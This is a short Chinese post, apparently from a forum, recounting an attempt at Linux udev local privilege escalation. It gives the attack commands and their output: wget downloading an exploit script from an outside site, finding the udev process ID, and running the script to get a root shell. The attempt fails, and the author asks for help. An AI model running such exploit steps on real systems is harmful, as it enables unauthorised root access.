Linux UDEV提权过程

1.下载攻击脚本

[test@H0f ~]$ wget http://www.extmail .org/source/exploit-udev-8478
--2018-04-02 01:21:00--  http://www.extmail/

 2.获得udev进程号

[test@H0f ~]$ ps ax|grep udev|grep -v grep|awk {'print $1'}
581
2508
2509

3.获得udev进程号，然后将此数字减1作为exploit-udev-8478的参数,执行脚本

[test@H0f ~]$ sh exploit-udev-8478 580 
suid.c: In function ‘main’:
suid.c:3: warning: incompatible implicit declaration of built-in function ‘execl’

4.输入id进行验证

sh-4.1$ id
uid=502(test) gid=502(test) groups=502(test) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

多次实验仍未成功，大佬看到求指点，应该是我的linux版本问题把
